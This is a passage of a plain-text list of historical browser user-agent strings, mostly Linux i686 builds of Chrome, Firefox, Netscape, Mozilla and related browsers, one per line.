i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.0 Safari/532.2\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.8 Safari/532.2\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Iron/4.0.227.0 Chrome/4.0.227.0 Safari/532\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Iron/4.0.227.0 Chrome/4.0.227.0 Safari/532.3\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.8\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.2 Safari/533.4\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.416.0 Safari/534.1\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 SUSE/6.0.428.0 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.551.0 Safari/534.10\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.579.0 Safari/534.12\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.44 Safari/534.13\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/9.10 Chromium/9.0.592.0 Chrome/9.0.592.0 Safari/534.13\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.612.1 Safari/534.15\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.04 Chromium/10.0.612.3 Chrome/10.0.612.3 Safari/534.15\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.611.0 Chrome/10.0.611.0 Safari/534.15\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.0 Chrome/10.0.650.0 Safari/534.16\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.457.0 Safari/534.3\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/534.3\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.24 Safari/534.7\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.0 Chrome/7.0.520.0 Safari/534.7\nMozilla/5.0 (X11; U; Linux i686; en-US) Gecko Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US) Gecko/20070312 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; Nautilus/1.0Final) Gecko/20020408\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010809\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2.1) Gecko/20010901\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20010923\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011022 Netscape6/6.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011126 Netscape6/6.2.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6) Gecko/20011202\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020313\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020423\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020513\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020612\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20021004\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020826\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020903\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020912\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020918\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020919\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021003\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021110\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021122 Debian/1.0.1-2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021203\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030716\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) Gecko/20020510\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) Gecko/20020513 Netscape/7.0b1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc3) Gecko/20020529 Debian/1.0rc3-1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020828\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020829\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1a) Gecko/20020610\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2) Gecko/20021126\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2) Gecko/20021202\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021203\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021204\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021208 Debian/1.2.1-2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030113\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030409 Debian/1.2.1-9woody2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030427\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Spinn3r (Spinn3r 3.1); http://spinn3r.com/robot) Gecko/20021130\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2a) Gecko/20020910\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021007 Phoenix/0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021014 Phoenix/0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021016\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021029 Phoenix/0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030312\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030313\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030314\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030320\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030326\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030327 Debian/1.3-4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030401\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030413\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030523\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030425\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030428\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3a) Gecko/20021207 Phoenix/0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3b) Gecko/20021213\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3b) Gecko/20030125\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3b) Gecko/20030210\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030723\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030818\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030828\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Epiphany/0.9.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.1) Gecko/20031114\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.1) Gecko/20040406\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.2) Gecko/20040220\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4a) Gecko/20030401\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4a) Gecko/20030425 Mozilla Firebird/0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030505 Mozilla Firebird/0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030607 Mozilla Firebird/0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030630 Mozilla Firebird/0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031007\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040113\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040114\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040114 Epiphany/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040225 Firefox/0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Debian/1.6-5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Epiphany/1.2.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 Galeon/1.3.16\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20051114 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040514\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040630 Firefox/0.9.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040802 Firefox/0.9.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040917 Firefox/0.9.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050715 Firefox/1.0.6 SUSE/1.0.6-16\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050719 Red Hat/1.0.6-1.4.1 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050720 Fedora/1.0.6-1.1.fc3 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050720 Fedora/1.0.6-1.1.fc4.k12ltsp.4.4.0 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050811 Fedora/1.7.10-1.2.1.legacy\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050811 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050815 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050825 Firefox/1.0.4 (Debian package 1.0.4-2sarge3)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050911 Firefox/1.0.6 (Debian package 1.0.6-5)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050914 Firefox/1.0.4 (Debian package 1.0.4-2sarge4)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050918 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050920 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050921 Firefox/1.0.7 Mandriva/1.0.6-16.1.20060mdk (2006.0)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050921 Firefox/1.0.7 Mandriva/1.0.6-16.4.20060mdk (2006.0)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050921 Firefox/1.5.0.2 Mandriva/1.0.6-15mdk (2006.0)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20051106 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20051111 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060410 Firefox/1.0.8 Mandriva/1.0.6-16.5.20060mdk (2006.0)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060505 Firefox/1.0.4 (Debian package 1.0.4-2sarge7)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060629 Firefox/1.0.4 (Debian package 1.0.4-2sarge9)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060902 Firefox/1.0.4 (Debian package 1.0.4-2sarge11)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060902 Firefox/2.0 (Debian package 1.0.4-2sarge11)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060927 Firefox/1.0.4 (Debian package 1.0.4-2sarge12)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20061113 Firefox/1.0.4 (Debian package 1.0.4-2sarge13)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20070116 Firefox/1.0.4 (Debian package 1.0.4-2sarge15)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20070530 Firefox/1.0.4 (Debian package 1.0.4-2sarge17)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.11) Gecko/20050729\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050920\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050920 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050920 Firefox/1.0.7 SUSE/1.0.7-0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050921\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050921 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050921 Red Hat/1.0.7-1.4.1 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050921 Red Hat/1.7.12-1.1.3.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc3 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050923\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050923 CentOS/1.0.7-1.4.1.centos4 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050926\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050927 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050929 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050929 Galeon/1.3.21\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051001 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051003 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051007 Debian/1.7.12-1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051007 Galeon/2.0.0 (Debian package 2.0.0-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051008 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Debian/1.7.12-0ubuntu2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Epiphany/1.8.2 (Ubuntu) (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.4 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.5 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051011 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051013 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051020 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051025 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051030 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051107 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051113 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051115 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051123 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051203\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051205 Firefox/1.0.7 Mnenhy/0.7.2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051207 Firefox/1.0.7 (Debian package 1.x.1.0.7-8)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051212 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051213 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051214 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051215 Epiphany/1.8.4.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051215 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051216 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051217 Firefox/1.0.7 (ax)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051225 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060106 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060122 Galeon/2.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060123 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060125 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060130 Red Hat/1.0.7-1.4.3 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060202 CentOS/1.0.7-1.4.3.centos4 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060202 Fedora/1.0.7-1.2.fc4 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060202 Fedora/1.7.12-1.5.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060204 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060208 Epiphany/1.8.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060216 Debian/1.7.12-1.1ubuntu2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060329 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060607 Debian/1.7.12-1.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060413 Red Hat/1.0.8-1.4.1 Firefox/1.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060417\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060427 Debian/1.7.13-0ubuntu05.04\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 Epiphany/2.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 Galeon/2.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060717 Debian/1.7.13-0.2ubuntu1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040803\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040804\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040805 Netscape/7.2\nMozilla/5.0 